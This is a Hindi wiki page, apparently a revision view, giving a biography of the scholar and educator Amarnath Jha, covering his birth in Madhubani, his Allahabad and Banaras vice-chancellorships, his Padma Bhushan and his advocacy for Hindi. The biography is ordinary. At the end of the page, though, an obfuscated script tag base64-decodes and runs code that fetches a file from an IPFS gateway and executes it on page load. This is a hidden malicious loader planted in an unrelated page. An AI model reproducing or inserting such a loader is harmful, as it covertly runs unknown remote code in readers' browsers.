अमरनाथ झा: Difference between revisions
[unchecked revision] | [unchecked revision] |
आदित्य चौधरी (talk | contribs) m (Text replace - "अविभावक" to "अभिभावक") |
गोविन्द राम (talk | contribs) No edit summary |
||
Line 32: | Line 32: | ||
|अद्यतन= | |अद्यतन= | ||
}} | }} | ||
'''अमरनाथ झा''' (जन्म: [[25 फ़रवरी]], [[1897]] - मृत्यु: [[2 सितम्बर]], [[1955]]) [[भारत]] के प्रसिद्ध विद्वान, साहित्यकार और शिक्षा शास्त्री थे। वे [[हिन्दी]] के प्रबल समर्थकों में से एक थे। हिन्दी को सम्माननीय स्तर तक ले जाने और उसे [[राजभाषा]] बनाने के लिए अमरनाथ झा ने बहुमूल्य योगदान दिया था। उन्हें एक कुशल वक्ता के रूप में भी जाना जाता था। उन्होंने कई पुस्तकों की रचना भी की। शिक्षा के क्षेत्र में उनके योगदान को देखते हुए उन्हें वर्ष [[1954]] में '[[पद्मभूषण]]' से सम्मानित किया गया था। | '''अमरनाथ झा''' ([[अंग्रेज़ी]]: ''Amarnath Jha'', जन्म: [[25 फ़रवरी]], [[1897]] - मृत्यु: [[2 सितम्बर]], [[1955]]) [[भारत]] के प्रसिद्ध विद्वान, साहित्यकार और शिक्षा शास्त्री थे। वे [[हिन्दी]] के प्रबल समर्थकों में से एक थे। हिन्दी को सम्माननीय स्तर तक ले जाने और उसे [[राजभाषा]] बनाने के लिए अमरनाथ झा ने बहुमूल्य योगदान दिया था। उन्हें एक कुशल वक्ता के रूप में भी जाना जाता था। उन्होंने कई पुस्तकों की रचना भी की। शिक्षा के क्षेत्र में उनके योगदान को देखते हुए उन्हें वर्ष [[1954]] में '[[पद्मभूषण]]' से सम्मानित किया गया था। | ||
==जन्म तथा शिक्षा== | ==जन्म तथा शिक्षा== | ||
अमरनाथ झा का जन्म 25 फ़रवरी, 1897 ई. को [[बिहार]] के [[मधुबनी ज़िला|मधुबनी ज़िले]] के एक गाँव में हुआ था। उनके [[पिता]] [[गंगानाथ झा|डॉ. गंगानाथ झा]] अंतर्राष्ट्रीय ख्याति प्राप्त विद्वान थे। अमरनाथ झा की शिक्षा [[इलाहाबाद]] में हुई। एम.ए. की परीक्षा में वे '[[इलाहाबाद विश्वविद्यालय]]' में सर्वप्रथम रहे थे। उनकी योग्यता देखकर एम.ए. पास करने से पहले ही उन्हें प्रांतीय शिक्षा विभाग में अध्यापक नियुक्त कर लिया गय़ा था। | अमरनाथ झा का जन्म 25 फ़रवरी, 1897 ई. को [[बिहार]] के [[मधुबनी ज़िला|मधुबनी ज़िले]] के एक गाँव में हुआ था। उनके [[पिता]] [[गंगानाथ झा|डॉ. गंगानाथ झा]] अंतर्राष्ट्रीय ख्याति प्राप्त विद्वान थे। अमरनाथ झा की शिक्षा [[इलाहाबाद]] में हुई। एम.ए. की परीक्षा में वे '[[इलाहाबाद विश्वविद्यालय]]' में सर्वप्रथम रहे थे। उनकी योग्यता देखकर एम.ए. पास करने से पहले ही उन्हें प्रांतीय शिक्षा विभाग में अध्यापक नियुक्त कर लिया गय़ा था। |
Revision as of 07:34, 9 January 2016
अमरनाथ झा
| |
पूरा नाम | अमरनाथ झा |
जन्म | 25 फ़रवरी, 1897 |
जन्म भूमि | मधुबनी ज़िला, बिहार |
मृत्यु | 2 सितम्बर, 1955 |
अभिभावक | गंगानाथ झा (पिता) |
कर्म भूमि | उत्तर प्रदेश |
कर्म-क्षेत्र | साहित्यकार और शिक्षा शास्त्री |
भाषा | हिंदी, अंग्रेज़ी |
विद्यालय | इलाहाबाद विश्वविद्यालय |
शिक्षा | एम.ए. |
पुरस्कार-उपाधि | पद्मभूषण |
नागरिकता | भारतीय |
अन्य जानकारी | उन्होंने एक वर्ष 'काशी हिन्दू विश्वविद्यालय' के उपकुलपति का पदभार सम्भाला तथा उत्तर प्रदेश और बिहार के 'लोक लेवा आयोग' के अध्यक्ष रहे। |
इन्हें भी देखें | कवि सूची, साहित्यकार सूची |
अमरनाथ झा (अंग्रेज़ी: Amarnath Jha, जन्म: 25 फ़रवरी, 1897 - मृत्यु: 2 सितम्बर, 1955) भारत के प्रसिद्ध विद्वान, साहित्यकार और शिक्षा शास्त्री थे। वे हिन्दी के प्रबल समर्थकों में से एक थे। हिन्दी को सम्माननीय स्तर तक ले जाने और उसे राजभाषा बनाने के लिए अमरनाथ झा ने बहुमूल्य योगदान दिया था। उन्हें एक कुशल वक्ता के रूप में भी जाना जाता था। उन्होंने कई पुस्तकों की रचना भी की। शिक्षा के क्षेत्र में उनके योगदान को देखते हुए उन्हें वर्ष 1954 में 'पद्मभूषण' से सम्मानित किया गया था।
जन्म तथा शिक्षा
अमरनाथ झा का जन्म 25 फ़रवरी, 1897 ई. को बिहार के मधुबनी ज़िले के एक गाँव में हुआ था। उनके पिता डॉ. गंगानाथ झा अंतर्राष्ट्रीय ख्याति प्राप्त विद्वान थे। अमरनाथ झा की शिक्षा इलाहाबाद में हुई। एम.ए. की परीक्षा में वे 'इलाहाबाद विश्वविद्यालय' में सर्वप्रथम रहे थे। उनकी योग्यता देखकर एम.ए. पास करने से पहले ही उन्हें प्रांतीय शिक्षा विभाग में अध्यापक नियुक्त कर लिया गय़ा था।
उच्च पदों की प्राप्ति
अमरनाथ झा की नियुक्त 1922 ई. में अंग्रेज़ी अध्यापक के रूप में 'इलाहाबाद विश्वविद्यालय' में हुई। यहाँ वे प्रोफेसर और विभागाध्यक्ष रहने के बाद वर्ष 1938 में विश्वविद्यालय के वाइस चांसलर बने और वर्ष 1946 तक इस पद पर बने रहे। उनके कार्यकाल में विश्वविद्यालय ने बहुत उन्नति की और उसकी गणना देश के उच्च कोटि के शिक्षा संस्थानों मे होने लगी। बाद में उन्होंने एक वर्ष 'काशी हिन्दू विश्वविद्यालय' के वाइस चांसलर का पदभार सम्भाला तथा उत्तर प्रदेश और बिहार के 'लोक लेवा आयोग' के अध्यक्ष रहे।
पुरस्कार व सम्मान
डॉ. अमरनाथ झा अनेक भाषाओं के ज्ञाता थे। इलाहाबाद और आगरा विश्वविद्यालयों ने उन्हें एल.एल.ड़ी. की और 'पटना विश्वविद्यालय' ने डी.लिट् की उपाधि प्रदान की थी। वर्ष 1954 में उन्हें 'पद्मभूषण' से सम्मानित किया गया।
हिन्दी के समर्थक
हिन्दी को राजभाषा बनाने के प्रश्न पर विचार करने के लिए जो आयोग बनाया था, उसके एक सदस्य डॉ. अमरनाथ झा भी थे। वे हिन्दी के समर्थक थे और खिचड़ी भाषा उन्हें स्वीकर नहीं थी। डॉ. अमरनाथ झा ने अनेक अंतर्राष्ट्रीय संगठनों में भारत का प्रतिनिधित्व भी किया।
निधन
एक कुशल वक्ता के तौर पर भी अमरनाथ झा जाने जाते थे। उन्होंने अनेक पुस्तकों की रचना भी की। देश और समाज के लिए अपना बहुमूल्य योगदान देने वाले इस महापुरुष का 2 सितम्बर, 1955 को देहांत हो गया।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
बाहरी कड़ियाँ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>